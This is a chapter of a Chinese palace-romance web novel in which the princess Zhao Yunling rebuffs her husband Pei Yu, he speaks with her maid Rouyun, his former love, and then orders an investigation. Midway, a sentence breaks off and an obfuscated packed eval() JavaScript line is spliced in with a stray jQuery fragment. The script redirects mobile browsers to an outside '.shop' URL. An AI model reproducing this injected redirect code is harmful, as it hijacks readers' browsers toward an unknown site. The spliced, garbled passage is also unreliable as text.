宋雪凝隐晦地望了望远处,已经全然连人影都没有了。
也不知裴公子看到了没有。
“其实……其实想问问裴公子,近日过得可还好?”
“如此?”
宋雪凝硬着头皮认下:“就是如此。”
她心中稍有些懊恼,是不是自己太莽撞了。
对面裴瑀果然沉默一瞬。
“宋小姐,”他温和却平静道,“我想虽然家母与令堂平日多有往来,但那也不过只是长辈之间的事情,往后若是宋小姐没有什么旁的重要之事,你我之间还是不要如此单独见面的好,于你清誉也并无益处。”
宋雪凝知道自己这样的举动太过引人误会,后知后觉地红了脸,这下彻底从微醺中清醒过来,只能匆匆说了抱歉,行了礼,逃也似的慌忙离开。
裴瑀则在原地站了许久,直到四下天色渐暗,估摸着宾客差不多散场,才缓步向外走,按照原本的打算去寻赵允灵。
今日宴席也过了,想来她便有空了,他还是想要和她好好聊一下。
只可惜,赵允灵今日的心情可算不上好。
原本是高高兴兴开的宴席,到最后没能叫她保持高兴,反倒是不安难过地结束了。
偏又有裴瑀这个没眼色的要这时候往她跟前凑,她碍于严嬷嬷在场勉强同意了见他,他却又要说些什么要跟她相敬如宾的话。
“殿下先前也说,我们都需要互相有些时间彼此适应,臣以为是不错的。”裴瑀认真分析着二人当下的情况,“只是或许磨合也需要些方式,近来殿下似乎有意躲着臣,想来或许是臣有什么地方没做到位,既然殿下与臣都有日后相敬如宾,好好经营这段姻缘的打算,其实许多想法便无需顾忌着臣的想法,可以直言相告,倘若是臣何处有做的不好,只要不违背原则,臣都会慢慢改进。”
好好经营姻缘,磨合,相敬如宾……
原本就是因为和裴瑀的这桩姻缘,才致使她与寻郎不得相守,今日又吵了架。
要是没有这桩婚姻在中间横插一脚,她如今又何至于此?
对不住身边人,更对不住爱他至深的寻郎。
“谁要和你相敬如宾?”
气到头上,赵允灵一不小心就把心里话给说出来了。
柔筠在身后猛咳一声,才把她从情绪里拉回来,意识到当下是个什么情形。
为了寻郎,她此刻还不能发作。
只是她堂堂大渝二公主赵允灵,从小被父皇祖母宠爱着长大,何时受过这种委屈?
“我今日有些乏了,驸马。”知道自己此刻肯定是演不好什么夫妻情深的戏码了,赵允灵果断开口赶人,“驸马若有什么一定想说的话,也请改日再说吧。”
裴瑀被她这毫不客气的几句话说得分明一愣。
说到底,成婚月余,虽说他与二公主间不至于有什么你侬我侬的时刻,但时至今日却也没有被她这般冷语相向过,以至于他始终以为,虽说他这边有些隐晦的问题存在,但至少他们之间的关系还是有在慢慢缓和的。
可今日赵允灵这态度……
若说是今日当真乏了也有可能,毕竟方才进来时见到她的面色便不大好,若说是他自己当真前些时日有做不到位的地方,以至于他刚提起她便有些应激也说得通,只是他总觉得似乎还是有什么地方不对。
没来由的,他莫名想起方才在花园看到的那一道影影绰绰的人影。
一瞬有些晃眼的绣金线的布料,是二公主喜欢穿的没错。
她是与站在对面那个布衣小厮交代了些什么后,才变得心情不佳的吗?
难以揣度。
他对自己的这位新婚妻子的确了解的太少。
裴瑀眉头微皱,下意识去看站在赵允灵身后的柔筠。
柔筠心绪本就不平,与他目光对上又是一悸,只是面上没表现出来。
“驸马,今日宴上来来往往许多宾客,殿下当真是招待得有些累了。”她替赵允灵辩解一句,随后送客,“不然您还是先回去吧。”
柔筠都这样说了,裴瑀下意识就是起身。
站起身后,才微顿了一顿。
“既然今日殿下心情不佳,那臣便先告退了,何时殿下若想与臣好好谈谈,随时派人与臣说一声便好。”
赵允灵撇了撇嘴,不想说话。
柔筠心中暗叹,只得赶紧上前一步,主动把人送出门。
然而她心里想着事,跨出门槛时走神绊了一跤。
裴瑀的反应极快,立即伸手扶住了她。
肘侧的力度稳重而有力,紧紧托住她的臂膀。
熟悉的气息包裹住她,令她猛然心悸,仓惶退开。
掌心的柔软从有到无,叫人有些怅然。
一时相对无话。
“今日公主可是遇到什么烦心事?”最终是裴瑀率先打破沉默,转了话题,猜测着今日可能发生的事,到底还是问了一句。
柔筠此刻心绪有些乱,虽然不可能直言相告,但她已经骗了他那么多,实在是不想再编个谎话骗他,只能偏开头说没有,“殿下的心事,我们做奴婢的如何揣度,驸马还是请回吧。”
独属于眼前少女的轻柔尾音在末端缓缓向下,即使在这样为难的情形下也自有一分安之若素的平和,带着几分无奈,仿佛带人回到了那个问他何时归来的夏日傍晚。
裴瑀忽然有话想问。
“你在二公主身边,待得可开心吗?”
纵然明白宫中的大染缸里,或许呆在赵允灵身边,对于一个有些姿色的小小宫人来说的确是极好的选择,可是今日见了赵允灵阴晴不定的脾气,他忽然又想亲口问一问她,到底待得开不开心。
“公主殿下是个宽和的主子。”二公主从不打杀奴婢,对待身边人也出手大方,怎么不算是个好的归处呢,“都是为了生存罢了,谈何开心与否,公主府一派和睦就好,驸马不必替奴婢操心。”
“倘若你觉得不好,我可以再替你想想办法。”裴瑀深深地看着她,“便是只作为老友也好,我也希望我的好友可以过得舒心。”
柔筠竟然一时分不清,他是依旧难以自抑地关心于她,还是当真放下才想将她远远送走,免得扰乱心智了。
但她仍为这一句话有所动容,指尖微屈,克制住了想要一如从前窝进他怀中、去触碰他的冲动,说出的话依旧理智:
“奴婢身份卑微,哪当得起驸马一句好友。”
“你知道沈扬心悦于你,倘若你们相处后有意走下去,你便也可算是我的弟媳,有什么担当不得?”
裴瑀也不知自己为何便这般说了,只是话既出口,也已反悔不得。
一句弟媳,叫柔筠心中猛然酸涩。
她内心翻涌起的柔软瞬间再次绷紧,一时竟失了身份的克制:
“你既知沈公子是你好友,为何还要替我们二人牵线?究竟是看低了沈公子,还是厌恶了我?”
明知他们之间的关系如何尴尬,却还要替她与沈扬牵线,即使他自己不尴尬,便也不考虑她的感想吗?
裴瑀怔住。
“沈扬他……是个很好的人,我们相交多年知他品行。”他话音微滞,语气涩然,“我以为……你在知道我们是好友后才与他划清界限,实则也并非全然对他无意,我只是希望你可以不必因为你我之间的关系,误了自己的一段好姻缘。”
他没有看低沈扬,也没有厌恶她。
只是若她在沈扬身边,他便可以护得着她,不必再将她丢失在触不可及的地方。
可他怎么敢将隐匿在大义凛然背后的那一点隐秘心思宣之于口?
不违心,却更不道德。
“于奴婢而言。”柔筠偏开目光,“早就没什么好姻缘可讲了。”
从她应下公主命令的那一刻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726569|208837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又或是从她失去母亲的那一刻开始,无论是何种原因,她都早已没有了可以只凭心意为自己定下好姻缘的自由了。
于她而言,所谓的好姻缘曾经她是期待过一段的。
也唯这一段。
只是都不可能了。
就如同她三年前拒绝裴瑀时所说的那样,如今他的身份于她而言高高在上,她没有了身份也没有了背景,没有哪怕能为她撑一下腰也好的母家,怎么敢去踏入一段高下如此悬殊的姻缘?
就连受宠的二公主在姻缘上都不能完全随自己心意,她又如何能肯定自己冲动之下做出的决定最后的结局不会是狼狈收尾?
二公主尚且有人能够为她兜底,可以做些任性的决定,即使错了也还有重头再来的机会。
可是她徐柔筠的人生早就如烧坏的青瓷,裂痕遍布,再禁不起半分可能的颠簸。
碎了便废了,再不会有人在意。
“驸马,您还是先请回吧。”
习惯了调整情绪,即使方才有一瞬的动摇,此刻柔筠也已然平复下来。
“您放心,殿下平日都是宽以待下,今日语气不佳或许只是心情不好,有几分针对您罢了,不过夫妻之间总有不愉快的时候,殿下愿意向您发脾气或许也是一种信任,还请驸马莫要放在心上。”
见她将话题转回赵允灵,裴瑀便知道今日这段对话终究还是要无疾而终。
“你也放心,既然如今我已成家,便不会做些引人误会的事,害你惹人猜忌,你不必总想着躲我。”裴瑀抿了抿唇,终于挪开了眼神,“至于沈扬,我自然是希望你与他二人都能够得好归宿,但这终究也是你们自己之间的事情,我不会过多干涉……只是倘若有心,我从不认为身份是阻碍一段好姻缘最重要的东西。”
柔筠没有再接他这似乎是一语双关的话,只是垂头向他福身,转身离开。
裴瑀没有去看她最后是何表情。
一路往河汉院回去的路上,与柔筠交谈带来的种种情绪也终于被无意或刻意地缓和下去。
情绪刚消散下去,他听到身后有人唤他,转头便见到了从后面快步而来的严嬷嬷。
裴瑀站定等她,严嬷嬷行过礼后,有些赧然。
“驸马,方才老奴隐约听到殿下似乎是与您吵嚷了几句,您千万莫要放在心上。”她看上去也是极为公主操心的样子,“殿下从小有陛下和太后娘娘宠着,性子有时大大咧咧,任性惯了,不太懂什么是夫妻相处之道,如今也只能驸马您多多包涵,倘若有什么真解决不了的,您也别委屈自己,可进宫跟太后娘娘言说,到时候让娘娘说说殿下,时日长了,总能相处好的。”
这话听上去似乎合情合理。
“嬷嬷放心,我都晓得。”裴瑀微微一笑,“如今成婚时日还短,殿下小我数岁,自该多被包涵。今日殿下情绪不佳才语气有些不好罢了,我并未放在心上。”
驸马总是个能体恤人的。
严嬷嬷笑开了花,心里暗暗觉得太后娘娘当真是会挑人,放下心来,便也踏实告退了。
只是裴瑀看着她的背影,心中那一点隐隐的怪异感却缠丝绕茧,愈发明显起来。
严嬷嬷是代表太后来的公主府,大约她的意思也便就是太后的意思。
这桩姻缘的确有其两方应该担负的责任在其中,但凭着太后娘娘对二公主从小到大的宠爱,既然二公主完全还没有做好进入一段姻缘的准备,太后当真会这般轻易松口,就让二公主这般仓促地与他成婚,非到婚后再去磨合那些显而易见会出现问题的情形吗?
裴瑀又想起了今日真正令他感到关注与疑惑的事情。
于是他唤来卫珂。
“你去查一查,成婚前二公主常去何处做些什么。”
沉吟片刻,他缓缓再添一句。
“另外再查一下,今日可有什么特别的人入府,都是来做些什么。”